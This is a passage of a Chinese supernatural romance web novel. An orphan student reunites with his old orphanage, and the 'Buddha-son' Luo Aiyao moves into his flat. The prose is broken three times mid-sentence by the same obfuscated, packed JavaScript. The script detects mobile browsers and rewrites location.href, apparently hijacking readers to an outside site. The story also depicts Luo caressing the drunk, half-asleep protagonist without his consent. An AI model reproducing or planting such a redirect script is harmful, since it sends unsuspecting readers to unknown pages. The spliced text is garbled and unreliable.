“为什么要换床?这里的家具是配套的,如果房东不答应,我不能乱换。”施霜景随便找了个理由搪塞过去。 “佛子会解决的。”柳司机不为所动,“明天这个点你在家吗?还是要更晚一点?” “柳司机,佛子真的要来吗?你见过佛子吗?”施霜景发出灵魂质问。如果他没有理解错,佛子是个鬼,或者是个邪物,假扮成佛或是佛像,反正是很晦气、很不敬的存在,如果真的有菩萨神佛,为什么不把他收了。施霜景想不通。这样的佛子怎么还需要换张床?他又不睡床。 “没有见过,但我想应该很快就会见到了。” “你不怕吗?” 柳司机在那头笑出声,“施先生,我是不是没有跟你介绍过我的职业?我是开灵车的,我家做丧葬服务,到我这里已经是第三代了。” 施霜景半晌说不出话。那他坐的岂不是灵车?虽然合乎逻辑,但乍一听真是有些灵魂冲击,让人两眼一黑。 “佛子在各地都有一些联络,D市是我在替佛子跑腿。这是我的荣幸。”听筒那头传来司机妻子的声音,让他把酒瓶子丢掉,不要堆在家里,司机回了几句,这才继续说,“其实佛子喜欢亲力亲为,我就是打打杂。” 亲力亲为,好可怕的四个字。施霜景本来就嘴巴不利索,心中郁闷,话就更是说不出来,最后再聊了两句,柳司机要去忙,便挂断电话。 让施霜景进大慈寺虔诚许愿的罪魁祸首本猫——玉米正在吃猫粮。施霜景今天中午回来尝试着给玉米打针,玉米撒丫子狂奔,压根捉不住,刚才施霜景又想试,玉米这猫太机灵,很会看眼色和动静,发现施霜景把洗猫袋揣在兜里,玉米就死活不让施霜景碰到哪怕一根猫毛。得了传腹的猫只要愿意吃饭就好,施霜景又不好打扰玉米吃饭,只能望猫兴叹。 但是有猫真的很幸福。今早醒来的时候,施霜景感觉被窝里有一只毛茸茸的、胖乎乎的小东西,蜷成球睡在施霜景的臂弯里。一掀开被窝,玉米就也微微掀开眼皮,发出机车一样的呼噜声,相当治愈。 正当施霜景这么想着,窗外忽然一阵冬雷闪光。今天天气不好,白天就零零星星飘小雨点,施霜景看天气预报,说今晚有雷暴和大雨。玉米被随后才来的雷声吓了一跳,浑身肥肉一震,扭过小脸去看窗外,又听见轰隆隆两声雷,玉米连饭都不吃了,夹着尾巴往施霜景怀里钻。 “不怕,不怕。”施霜景抚摸小猫头,幸好昨天就把玉米接回家了。 这场雨彻夜不停。凌晨三点时,这雷越来越猖狂,照得乌云煞白,映在窗户上也是一阵青白色。电闪雷鸣间,可以看见人形的某物快速地从窗上或停留、或爬过。这人形之物有头有四肢,但四肢极其扭曲,四四方方地折起,像是卍或是卐型,头上不见五官,只是黑乎乎有个头的形状。它们随机地停在窗上或是防盗的铁栏杆上,像人类体型的蜘蛛,但又觉得其实就是人。 这些肢体扭曲之影唯独绕开了施霜景家。霜白色雷影照进家里,只会看见地面有一座更大的黑影正静静伫立,比这些卐型的扭曲人形更不祥,小巫不敢见大巫。 有人半夜惊醒,正巧看见窗上贴着这样的折肢人形,如果他们只以为自己眼花又重新睡去还好。那些尖叫的、下床探看的、出声喊醒枕边人的,今夜都难逃厄运。 施霜景早上去上学,忽然收到了刘奶奶的微信消息。 刘奶奶是福利院的老员工,当时还在乡下的时候就一直在福利院工作,后来随着福利院的迁址一同来了励光厂。她今年六十八岁。施霜景那年从远方表姑家离家出走、被福利院接回时才八岁,那时刘奶奶就已经是五十六岁的奶奶。她的孩子在隔壁省省会安家,她不愿意一道去,说福利院的工作虽然工资很少,但照顾福利院的小孩比照顾自己的孙子有意思,还能自力更生。 青花瓷:小景,最近好否? 青花瓷:上学辛苦不辛苦?要不要回院里吃顿饭?今天奶奶做红烧肉 青花瓷:奶奶想你了 一剑霜寒:奶奶,你身体怎么样?院里还好吗? 青花瓷:还可以,还是那个样子 青花瓷:今天白院长不在,你来吧 青花瓷:就我们几个,院里的小孩子都还说想你呢 青花瓷:[视频] 青花瓷:[视频] 青花瓷:[视频] 青花瓷:你听到没有,他们有人老在问小景哥哥在哪里 施霜景两指放大视频,一晃两年多,院里的几个小毛头都长大了,的确有人喊小景哥哥,而且是不同的小孩在喊。施霜景一阵心软,想到自己荷包里有钱,佛子让他花钱——十万,这怎么花得掉?以后还能再赚吗?但一想到花钱,施霜景不会吃独食。 一剑霜寒:红烧肉是午饭还是晚饭? 一剑霜寒:我买点水果回去 青花瓷:不要,院里什么都不缺,你别带 一剑霜寒:是午饭还是晚饭? 青花瓷:午饭,你人来了就行! 一剑霜寒:好 施霜景抖了抖伞上的水珠,走进教学楼。一进教室,施霜景发现班上所有学生都聚拢在一起,从来没见过人挤人会挤成这个样子。施霜景放好书包和雨伞,坐在座位上玩手机,好几个同学都扭头看向施霜景,终于,有个男生跑过来,低声问施霜景:“你昨晚看见了吗?” “看见什么?” 男生忽然拔高声音,冲群聚的学生堆喊道:“我就说嘛,不是每个人都能看见!我没看见,施霜景也没看见!” 到底看见什么?施霜景拧眉,他讨厌这种不交代前因后果的谈话。 “你过来。”男同学拽着施霜景,把他拉到人堆,“班上好几个人昨晚看到有怪东西趴在窗户上,我靠,巨恶心……你看这张图。” 一张白纸从人群中心传过来,施霜景看见白纸中心画了个虫子一样的东西,有头有脚的,还有躯干。施霜景说:“是蜘蛛?怎么只有四条腿?” “是人啊!圆圆的这个是脑袋,中间还有身子,手脚都这样折过来……我靠,到底是真的还是假的啊,你们几个不会是在骗人吧?” 在人群中心一脸菜色的男生怒喝一声“我靠,假你个头”,他扒开人群,朝这些人勾手,让他们跟自己来。男生带着班上大部分人浩浩荡荡地去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417927|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了隔壁班,励光厂高中只有两个高三班,他把白纸一亮,问昨晚有没有人也看见了这东西,隔壁班很多人表情也不好看,他们只是比较老实,以为只有自己看见了,没能去找其他人聊。 施霜景早就没有在盯着那张白纸了,可好像白纸上的形象一直残留在视网膜上,有种很怪异的恶心感。虽然那纸上只是简笔画,可施霜景好像能在脑中自动补全成完整形象一样。 人?暴雨夜里贴在窗户上的人?手脚扭曲成这样还能动的人? 施霜景后颈毛毛的。 中午去孤儿院时,施霜景特意提了两箱苹果。他事先给刘奶奶发了消息,所以中午他抵达时,孤儿院的大门已经打开了。那厚重的铁门是白院长上任时换的,施霜景不喜欢铁门,也不喜欢白院长。他今天会来的很大一部分原因是白院长不在,而且刘奶奶还做了红烧肉。 “小景,你什么时候学会这一套了?回家还提水果!”刘奶奶笑着拍了拍施霜景的手臂,施霜景把苹果摞在地上,院里好几个孩子一涌而出,围着施霜景转,高兴得不得了。 “小景哥哥,小景哥哥——”五岁的毛豆见到施霜景就伸手,施霜景放下书包,熟练地抱她起来。他离开孤儿院的时候,毛豆才两岁多,刚刚能说些含糊词,施霜景那时经常抱着她玩。 福利院这一代的小孩大多都还是小学生年纪。从乡下搬上来之后,福利院有一阵子缺少稳定的补助,分配到的孤儿也不多,各方面的福利和市福利院比不了。现在这些孩子大多是励光厂以及周边村镇的孤儿,所以孩子与孩子之间也存在着断代的现象。 那些比施霜景大的孩子去了哪里,施霜景不知道。施霜景的手机都是自己十八岁从福利院出来之后打工购买的,那些大孩子有些留了联系方式,有些没留。和施霜景关系还不错的孩子,施霜景大费周折才加到对方的微信,彼此却不说话。 那些比较漂亮、健全的孩子,很早就会被领养走。励光福利院照顾小孩子很有一套,领养率还不错,但与之相比的是,如果健康的孩子都找到了新家,那些不那么健康的、留下来的孩子们就更显得可怜。 “来来来,正好开饭,过来吃。”刘奶奶招呼施霜景去食堂。她捏了捏施霜景的手臂,确认施霜景手臂上还有肌肉,看来是有好好吃饭、好好照顾自己。 一阵机车呼啸声在耳膜留下声音残迹,施霜景下意识回头。 有病吗?在都是老人小孩的厂区里飙机车? 一眼就识得其造价昂贵的机车在雨中飞速行驶,顺着励光厂的水泥路直行,但在一道分岔路时,机车灵巧转向,驶进山里。公路绕山铺就,机车亦是绕山而行,在驶过一道山坳时,机车停下。 透过头盔,一对蓝眼睛视线如炬。山坳岩壁上有一个开凿得极其平整的洞口,山石残留着当年的红色油漆印记,山洞里黑黢黢,让人看不真切。那些东西就是从这里爬出来的。好恶心的东西。 罗爱曜稍稍转身,看向山下。从这一定点往下俯瞰,视野正好能装进大半个励光厂。 事情到底从哪里开始错位的?是从酒店那一夜施霜景没能死成开始吗?罗爱曜想道,如果不是自己惹的祸,自己为什么要来收拾烂摊子?但这能说是那个人类的错吗?肯定不是。不论如何,罗爱曜得亲自来买单。他甚至不能让那祭品来找自己,而是自己来找那祭品。 罗爱曜在这一场浊雨里忽然觉得一切都十分可笑。他一个佛国之人,只能找索多玛、蛾摩拉的譬喻来形容眼前场景未来将受的遭遇,然而他现在要主动入不义之城,找一个早该死或不久之后就该死的人。 这一切都乱了套,可罗爱曜没经历过。从来都是世间大乱,而他是不变法。如今这乱套是乱在罗爱曜身上,业报活生生将他也卷进去。他再也不能独善其身。 来都来了。就这样吧。罗爱曜想,世上有情,离苦得乐,或万法破灭,一切一切,总该到我。沉寂千年真的太无聊了。 18. 施霜景上前,捏了捏佛子的脸 施霜景拿上铁碗,排在孩子队伍的最后,久违的等饭流程。 励光福利院的食堂很小,员工也少,院里的老职工只有刘奶奶和守卫高大爷,还有两位年轻志愿者,都是两个小姑娘,今天她们听说福利院的前院草回来了,本来轮不到志愿者排班来帮忙,她们还是坚持坐车来励光厂,就是为了见施霜景一面。 刘奶奶事先没有告诉施霜景这回事,施霜景本来也不擅长表达感情,两个女生过来搭话,也拿上铁碗,排在施霜景背后。 短头发、戴眼镜的女孩戳了戳施霜景的肩膀,施霜景回头,短发女生自我介绍道:“你就是毛豆、乐乐他们老在念叨的那个小景哥哥是不是?我叫卢灵珊,是S省师范大学社工专业的大三学生。她是于辰,我们学校教育学部特教专业的学妹,上大二。” 叫于辰的女孩腼腆地点点头,就算打过招呼。施霜景学着于辰,也只点点头,简单自我介绍:“我叫施霜景。” 施霜景虽然面上挂着生人勿进的表情,可他的气场还算温和,尤其是回到福利院之后,这毕竟是他住过很多年的地方,浑身都因为熟悉而放松。福利院的人员变动也不多,两年时间弹指而过,就好像还是去年冬天的事那样。 他们用铁碗而不是铁盘打饭,因为励光福利院的孩子大多年纪还小,用碗更方便。高大爷基本没什么安保工作,午饭时间就穿上围裙一起帮忙打饭。高大爷往孩子们的碗里打上第一勺米饭,刘奶奶则是用铁勺从三个小铁盆里舀出今天的菜,铺在米饭上。小孩们流水线一样打饭,今天的菜是西红柿炒蛋、蒜炒包菜、红烧肉。 “小景,不够吃再来啊。”高大爷往施霜景的铁碗里舀了满满一勺饭,刘奶奶则是往施霜景的碗里铺了好厚一层西红柿炒蛋,再沿着碗边浇上一层红烧肉,肉菜摞在一起,冒出尖来,施霜景小心地捧着碗,坐到孩子堆里。 毛豆用铁勺戳着米饭,将米饭戳松,然后她将米饭和菜全部拌在一起,这才开始美美享用。这是毛豆的吃饭法则。院里还有其他孩子有不同的吃法,比如有小孩完全不爱吃蔬菜,或者是严格按照一口菜、一口饭的顺序吃饭。施霜景舀起红烧肉,送入口中。这是刘奶奶的改良红烧肉,甜咸都相当适中,红烧肉里还放了土豆和豆结,施霜景大口吃饭,老实说,他吃饭的速度有点像饿死鬼了。 卢灵珊和于辰看施霜景吃得这么香,都不好意思搭话。 好不容易等施霜景光盘了,施霜景腾地起身,又去打了一碗,和上一碗几乎是一样的量,他坐下来,肚子里垫了东西,这次就可以吃得慢一些。 刘奶奶和高大爷坐在旁边的桌子旁,刘奶奶时不时朝施霜景投来目光,两人对视,刘奶奶就微笑,示意他快吃。 “你就住在励光厂啊,怎么不经常回来呢?我和于辰都是周末过来当志愿者,从来都没见过你。” 吃过饭后,大家坐在食堂消食,室外的雨淅淅沥沥,没法带孩子们去小操场做些活动,所以大家这时都选择聊天。 施霜景说:“我要打工。” 卢灵珊意识到这个问题不能这样轻易地抛出,显得不过脑子了。于辰的眼神有些游离,她扯了扯自己毛衣的高领,似乎有些喘不过气来,继续不说话。 刘奶奶坐过来,三个女性夹着施霜景一个男孩,施霜景更不自在了,但两个女孩稍微自在了一些。刘奶奶问:“小景,现在打工会不会太累了?你今年要高考,不然还是回院里吃饭吧,白院长不会说什么的。” “不用担心,我的钱已经攒得差不多了。”施霜景很违心地说,“我暑假打工攒了些钱。” 刘奶奶脸上的表情并没有轻松,她还是很担心,担心施霜景在逞强。可男孩子就是容易逞强,这真是无解。她不知道施霜景的违心是通过不当手段攒到钱的违心,而不是没钱装有钱的违心。 毛豆挤了过来,施霜景腹诽道,他还真是吸女孩子的关注,大女孩小女孩都聚过来,毛豆要爬上施霜景的腿,施霜景只能任她爬。 “小景哥哥,我要跟你说个秘密……”毛豆压低声音,示意施霜景附耳过来。施霜景照做,毛豆说:“我们下个星期要去春游!”这句的声音很大,施霜景被声音吓个措手不及,这小毛豆! “现在不是冬天吗?春什么游?”脑子转得快的卢灵珊吐槽道。 对哦,现在不是冬天吗?春什么游啊?施霜景认同。 刘奶奶说:“不是春游,不会带他们去的,是他们一直在问到底什么时候能出去玩,白院长骗他们。” 施霜景又往旁边看去,已经清理干净的地板上,有小孩子或站或坐,有个小孩四肢撑地,作着怪姿势,扭来扭去的,其他小孩笑着、闹着,也学他一起搞怪。这里总共七个小孩。 “对了,小景,我想和你商量件事。”刘奶奶终于抛出重点,“你还记得今年春天离开福利院的何晓栋吗?他在城里没找到工作,想回厂里看看能不能再想想办法,他想进厂当工人,年前要来面试,但他没有落脚点……你现在一个人住那个房子,能不能接济他几天?” 如果刘奶奶是上周问这个问题,施霜景肯定毫不犹豫就答应下来。但施霜景现在很不确定——他要怎么说比较合适?他家可是有鬼啊! 但一想到如果这只鬼要住到年底,感觉他很快就要来了,就像柳司机说的那样——“亲力亲为”,但又不知道他什么时候会走。施霜景这颗悬着的心终于是死了。 “我要去问问房东。” “这就不要问了,就几天的事。” “好吧。”施霜景没法拒绝刘奶奶,“让他到时候联系我,住几天应该没关系的。” 应该没关系……吧? 晚自习结束,施霜景回到家,蜷缩在沙发上的玉米伸个懒腰,跳下沙发,慢悠悠地走到施霜景脚边,优雅地绕了两圈。施霜景麻木地回房间,一打开灯,一张全新的大床吓了施霜景一跳。 这大床将房间塞得满满当当,甚至撤掉了一个床头柜才勉强放下,只在进门这边给施霜景留了一条一臂宽的通道,让施霜景能打开衣柜。以前施霜景睡的那个小双人床刚刚好,这床的尺寸怎么也有两米了吧?大得离谱! 施霜景掏出手机,确认自己没有错过任何一条消息——没有人通知他。 柳司机提前过来换过床了! 施霜景心跳加速,他跑回客厅,去看佛龛,香炉里没有插香。这什么意思?佛子到底是醒着还是睡着?还是说…… 一剑霜寒:佛子 一剑霜寒:你在吗 等了五分钟,没人回。施霜景这颗心始终不敢放下,他再发。 一剑霜寒:你能不能给我一点心理准备?你到底是要怎么来? 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417928|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剑霜寒:你看,我们聊得挺正常的,你也正常地过来吧,不要吓我就好 罗爱曜:对方正在输入中…… 一剑霜寒:我是高考生,我还想好好学习 罗爱曜:好好学习?你吗?你平时有在好好学习? 施霜景正打算回复,忽然听见车轮驶过满地积水的湿声,速度很慢,施霜景走到窗边,打开窗户,冷风倒灌,施霜景往外探出头,雨水打在施霜景的脑袋上,施霜景不知道自己哪来的好奇心。 从机车上下来一个高个男人,用钥匙打开楼底对面小车库的门,将机车推进去。可能因为下雨吧,男人没有摘头盔。在停好机车之后,男人从小车库出来,锁门,径直往这栋楼的楼门走来。 施霜景的心跳蓦地增速,他甚至来不及想现在自己的表现会不会像是显得急切,到底是担心还是期待?施霜景压根分不出脑容量去想这回事。很快,他听见上楼的脚步声。 施霜景关窗,回到室内,这几十秒里,他内心抓耳挠腮,面上恍若发呆,直到敲门声响起。 叩叩,叩叩,叩叩。 这敲门方式让人想起不好的回忆。施霜景浑身一僵,本能地想犯倔,上次没开门,这次他还不想开。但他答应过佛子了,佛子也答应他了,不抵抗不挣扎就不会受伤。 施霜景感觉自己整条手臂麻了,他连猫眼都没看,直接打开门。 楼道的声控灯电流不稳,灯光明明灭灭,男人浑身干爽,仿佛不是从雨里来。他比施霜景高些,微微下视,表情冷淡,湖水蓝的眼睛像外国人,因为脸上无甚表情,五官静而美地布局着,声控灯终于是在闪光中爆掉了,变成只有室内的白光扑在男人脸上、身上,整个烘托出他不速之客的身份。施霜景维持着开门的动作,卡顿了。 “这算不算‘正常地过来’?”男人拎起手上的东西,示意施霜景接下。 施霜景终于从恍惚状态中复苏,赶紧接过东西,侧身请佛子进屋。完蛋了,大脑宕机得很厉害。 “拖鞋。” “我还没有买。” “鞋柜里有,找出来。” 施霜景将手中的木盒放在桌上,去开鞋柜。果然,鞋柜里有一双崭新的男士拖鞋。佛子怎么知道的? “我下午已经来过了。” 施霜景:“……”你早说不行吗。 这人的突然到来也不是一次两次了,施霜景是适应性超强的体质,他很想装模作样惊讶一下,可他真的提不起情绪。 佛子将头盔放在鞋柜上,俯身换鞋。施霜景还穿着校服,二十岁的高三学生,佛子的打扮却也很年轻,防水夹克和黑色高领衫,牛仔裤和黑靴。不会是逗施霜景吧?施霜景的大脑不仅是宕机,甚至开始跳看不懂的代码。 鬼使神差地,施霜景上前,捏了捏佛子的脸。 这一捏,施霜景愣了,佛子也愣了。 施霜景也不知道自己为什么会这样。他连福利院小孩的脸都很少捏。他找不出原因,他总不能是看见佛子弯腰换鞋就上手了吧?那他到底想捏哪里?他为什么要捏?非要捏不可吗?语言功能呢?哑巴了吗?脸是软的、热的啊,是人。佛子不是鬼吗?他为什么要捏佛子的脸啊?他到底为什么要捏佛子的脸啊?完蛋了。施霜景的程序开始报错。 罗爱曜的正常造访反而让施霜景不正常了。 19. 和谈恋爱的区别是什么 佛子穿拖鞋走进屋内,竟然是对这冒犯一捏假装没发生过。施霜景杵在鞋柜旁,这一刻他比佛子更像客人。 罗爱曜在客厅绕了一小圈,打量各处,施霜景跟上罗爱曜,追问:“你真的是佛子吗?是墙上那位?” “是。” “你有头发。” 这句终于冒犯到罗爱曜了,“旁人称呼我‘佛子’,所以我就该秃头?”罗爱曜语气并不好,好像有忍的成分。 “没……我就是觉得真真假假、虚虚实实的。是我不了解情况。你要不要喝点什么?” 罗爱曜和施霜景两个人似乎有些撞型——都是面上表情不多的类型。如果施霜景事先不认识罗爱曜,他或许可以更加泰然地寡言少行,什么都不做、什么都不说就行。但现在他们有一层包养关系在——老天啊,包养关系又是什么关系?施霜景看电视剧、小说或者刷短视频的经验不足,也就对包养关系的想象力不足,所以做什么都显局促。 “冰箱里有酒,拿出来吧。”罗爱曜终于坐定在沙发上,防水夹克未脱,总给施霜景一种美好的错觉——他说不定晚上会走! “两个杯子。”罗爱曜补充道。 施霜景说:“你可以喝,我就不喝了,明天要上课。” “那真没劲。” 施霜景打开冰箱,看见佛子说的那瓶酒,标签上写是梅酒。施霜景拿来酒和玻璃杯,在家给人当酒保的感觉有点熟悉了,熟悉的打工感。家里没有正经酒杯,就对付对付吧。施霜景这酒保一不做二不休,打开酒瓶、倒酒、递给罗爱曜,一气呵成。罗爱曜这双蓝眼睛始终盯着他,施霜景不自在得快疯了。 “你不是打字很快吗?不爱说话?”罗爱曜的声音很有泉水质感,并不很低沉,是很入耳的声音。可他用这么入耳的声音嘲讽施霜景,这就不是很入耳了。 “我还没来得及说。”这不一直在招待你吗?施霜景头一次觉得自己吐槽欲这么旺盛,整个人终于有点高中生的样子和心境。 茶色的梅酒入杯,家里没有冰块,但好歹酒进冰箱冰镇了一会儿,可以入口,罗爱曜不挑,自己独酌起来。施霜景知道这是要谈话的氛围,不然罗爱曜不会邀请他一起喝酒,他家的沙发很简陋,就是长条沙发,他又不能坐在佛子旁边,这样两人谈话很麻烦,于是施霜景去搬了餐桌椅来,坐下。 又是一阵窒息的沉默。 罗爱曜对这沉默很自如,施霜景对着沉默愈发焦虑。聊什么?他今天什么时候来换了大床?还是不要聊这个为好。问他什么时候走?这样也不太礼貌吧。施霜景不是很敢惹佛子,还是那句话,惹佛子没好下场。真是请神容易送神难啊。 最后还是罗爱曜主动结束这焦虑的、漫长的无语,他说:“我来自我介绍一下,我的名字是罗爱曜,唐上元年间生人,沉寂休养至五年前,法身与报身先行复苏,前几日我取出应身,三身合一,重回世间,这是我的前情。你那日在大慈寺许愿——你知晓诸愿传达天上的流程吗?一些有知识的人会向特定的菩萨或是神佛许相应的愿望,也可能是随意一许愿,愿力传达到相应的佛处。你的愿力流向我,你以你的业果为代价,换来我为你实现愿望,而我提前拿到你的业果,你就成了我的祭品,成了我的供养。” 施霜景听得一知半解,听完最后一句,他连忙道:“我不知道会这样!我只是许愿,没想过把我自己搭上!” “这由不得你,总之这愿力我已经收下了,愿望也会替你实现。”罗爱曜身体微微前倾,给自己续酒,“但你身为我的祭品,我却无法掌握你的全部业果。你可以理解为我是来追债的,已经掌握了你的人,但钱是一分没有了,你本该还我的钱消失了。” 这比喻……这是比喻吗?这是现实吧?施霜景马上想起自己的账户,他又在心里吐槽道:你不是佛子吗,为什么一天到晚纠缠金钱这类俗物啊! “那天你许的愿有两项。” 罗爱曜调子一转,以一种完全不合适他但又无比虔诚的语调说:“‘希望菩萨和佛祖保佑,让玉米顺利好转、健健康康;让我能赚到钱,只要是我能做的,我都愿意去做,我想在经济上再宽裕一些,能够负担我和玉米的生活,负担我考大学。’” 听着听着,施霜景越发觉得这内容熟悉。听到最后,施霜景发现,这不就是他在佛前许的愿吗?一字不差。罗爱曜看施霜景不自在的表情,他便自在了,用同样的腔调又背了好几段,俨然是施霜景在大慈寺对着好几个菩萨或者佛祖的金身一个个复述了自己的愿望,甚至有一个版本中,施霜景还加上了自己的身份证号,希望佛祖能知道究竟是哪个施霜景在许愿。 施霜景起身,还是回厨房,取来一个玻璃杯,给自己倒梅酒,开喝!太尴尬了,太困窘了。一开始施霜景还怀疑佛子是不是邪教,但哪个邪教会截胡截到正经的佛寺去? “慢慢喝,这瓶酒的度数很高。”罗爱曜提醒的时候,施霜景已经在喝第二杯了。 那只小猫呢?罗爱曜自始至终没见着猫影,看来是躲起来了。 “佛子,给我个痛快吧,你到底是来干嘛的?要怎么收债?”施霜景握着玻璃杯,不好直视佛子,只能盯着茶几。 “我所想的是,我可能还没有替你完全实现愿望,例如经济的宽裕,而且你明确提过考试。这就是我出现在这里的原因。” “那有没有什么中途取消的办法?”施霜景在心里猛拍反悔键。 “没用,我为你破了重戒,这是我们不得不纠缠的第二重原因。”罗爱曜说,“正因为如今你的因果不再清白了,且也与我的五欲有关,所以我要过来亲自验证。这是我的自证法。” 三十多度的梅酒下肚,施霜景脸热呼吸也热,更加听不懂。佛子说话有种讲经的气场,像老师,施霜景一听就准想睡,这是学渣的自我修养。 “佛子,你为什么要破戒?干嘛为我破戒?”施霜景揉揉喝红的眼睛,浅揉两下就发疼,酒意上头,施霜景也开始下意识找猫。 “这是第三重原因。”佛子笑道,“因为这戒不得不破。我守戒千年,未有奖赏,就连镜花水月的虚境都化作一潭死水。现在重新扰乱,我才有新的突破。我的估计没错。我一破戒,古坛场便开了。” 到这里真的听不懂了。施霜景好绝望。 之后再聊什么、想什么,对施霜景来说也是一场带酒气的镜花水月。信佛之人不杀生、不偷盗、不邪淫、不妄语、不饮酒,罗爱曜好像除了不偷盗和不妄语,其他都做了。好一场对佛门之人的幻灭。这还能叫佛子吗?施霜景都不知道是多少次发出这般感慨了。 施霜景躺进事先开过电热毯的大床,缠绵软榻,受被子一掩,呼出的热气就更是氤氲满脸,皮肤在睡衣下热烫发痒。玉米那只小猫呢?唉,管不了这么多了…… 身侧一沉,施霜景无力转身,继续侧卧着。施霜景没有喝醉过,他平日里酒量很不错的,啤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417929|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒和二锅头混喝都能顶得住,今天喝那么醉,可能是有逃避的意味吧。可惜喝醉和睡着是两回事,脑袋闷疼,反而难以进入真正的沉眠状态。施霜景半睡半晕,有那么一刹那,他觉得自己的腰上搭了一只手,但没有不适感,施霜景很快就适应,不当回事。 那只手轻轻抚摸施霜景的腰侧,从腰侧到腹侧再到小腹的皮肉都如此平滑好摸,能摸出肌肉的纹理,深深浅浅的沟壑。确认施霜景不反抗,那只手就从抚摸腰侧挪至抚摸小腹。 喝过酒而发烫的身躯替人暖手,罗爱曜很是玩味地抚摸着施霜景清醒时绝不会任他摸的地方。他不进一步做什么,就只是感受活人的热度而已。施霜景的小腹里还装了第二套器官,一套生育器官,所以腹肌顺延到此处却有些脂肪的手感也很正常。施霜景竟然能把自己喝得这么醉,罗爱曜也没想到。 施霜景侧躺,罗爱曜便撑着脑袋也侧躺,两人没有后背贴前胸,中间隔了掌心宽的距离。罗爱曜是在熟悉施霜景的身体,同时也是在适应他这具千年不死是为佛贼的身体。总觉得上次的破戒又完全不作数了,一场预演似的。 手没有继续往下,摸够腰际和腹部,就绕回来,一下一下地轻轻抚摸施霜景的后腰。正旖旎着,床尾忽然轻轻一坠,罗爱曜看过去,发现是那只橘猫玉米终于敢现身了。 它勇敢地跳上床尾,与罗爱曜对视,玉米浑身毛发微炸,它很犹豫要不要靠近。罗爱曜觉得好笑,侧回头来,不再和猫大眼瞪小眼。不一会儿,床上这一轻轻的重量一步一步挪到施霜景那侧,不敢靠近施霜景的上半身,只好缩在施霜景的脚边睡了。 第二天,施霜景头痛欲裂,闹钟催命一样地响。他尝试了好几次都没能坐起来,一转身,和另一张熟睡的脸面对面。 这下他醒了。 原来这就是包养吗?好陌生,陌生得像是和人谈恋爱、睡觉、同居一样。包养和谈恋爱的区别到底是什么?谈恋爱有时还不给钱呢?施霜景好懵。他手脚并用地爬下床,不敢惊扰罗爱曜,幸好这人睡着的时候像个谪仙,面相很好。 施霜景溜回客厅,见到茶几上完全喝空了的梅酒酒瓶。忽然一阵冷风吹过,施霜景发现窗户竟然没有关,幸好他在防盗栅栏上围了铁网,不然玉米跳窗就不好了。施霜景走向窗户,却发现地上有几枚白色冥钱,跟古代的铜钱一样,外圆内方,只不过是白色纸钱做的。施霜景一一拾起它们,去关窗时才发现楼下搭了丧事的棚,大清早天还没亮就已经渐有人声。 不对啊,他家的栅栏铁网连猫都能拦住,没道理拦不住这几张纸钱啊?这纸钱是哪来的? 施霜景又忐忑又心安。忐忑是因为不知道又会碰上什么事,心安是因为……床上躺着一位应该可以暂时靠一靠的金主。应该可以靠一靠吧?施霜景已经不记得前一夜他们到底聊了什么,但他还有印象,佛子自己好像是主动要入局。 这几枚冥钱不好乱放,施霜景将它们摞好,用酒瓶压住。餐桌上还放着佛子带来的木盒,四四方方的,施霜景不打算擅自打开,只抱起木盒打算放在地上,不要影响他吃饭。 可不知道施霜景碰到了哪处,木盒的盖子自动弹开,倒是没有全部掀起,但弹开的缝隙足以让人窥见木盒内的蹊跷。 这……施霜景怀疑自己看错了……这是头吗?他看见了鼻和嘴,不像是人的皮肤,应该是雕刻之类的工艺品。 施霜景忙不迭将木盒放回桌上,敬而远之。 20. 我会将你送入大学 出门时佛子还没醒,施霜景回想着之前佛龛前点香的时间,好像每天六点过钟起床的时候,那香都只剩香根,说明佛子正稳稳当当地睡着。他的睡眠质量倒挺好,卧室门挡磁铁牢牢地吸着墙,门就这样大开着,施霜景洗漱、做饭、吃饭、洗碗、换猫砂、放猫粮、收拾书包,发出的种种声响都完全无法惊扰这一中唐时期生人的睡眠。这个背景故事像佛子为了逗他故意说出来的一样,施霜景服了。 一打开门,楼道里就烟雾缭绕,不知道是不是楼下丧事灵棚烧纸做法事的烟熏了进来,还是他们干脆就在楼里烧纸了。施霜景挥手散烟,到一楼,灵棚侧放着,开口正朝施霜景家的楼门。施霜景往内望了一眼,看见遗像,是不认识的老爷爷。 逝者的子女、亲属在灵棚前叠金元宝,见施霜景从楼里下来,可他们也不认识这小孩,就当没看见了。 从小区往外走,施霜景惊讶地发现,暮蓝色的清晨、天还未亮的此时,空气里已经积着一层薄灰色,是持续不散的烟气。施霜景在去学校的路上,竟然数出了四个灵棚,有的搭在小区里,有的就是沿街搭了。这是怎么回事? 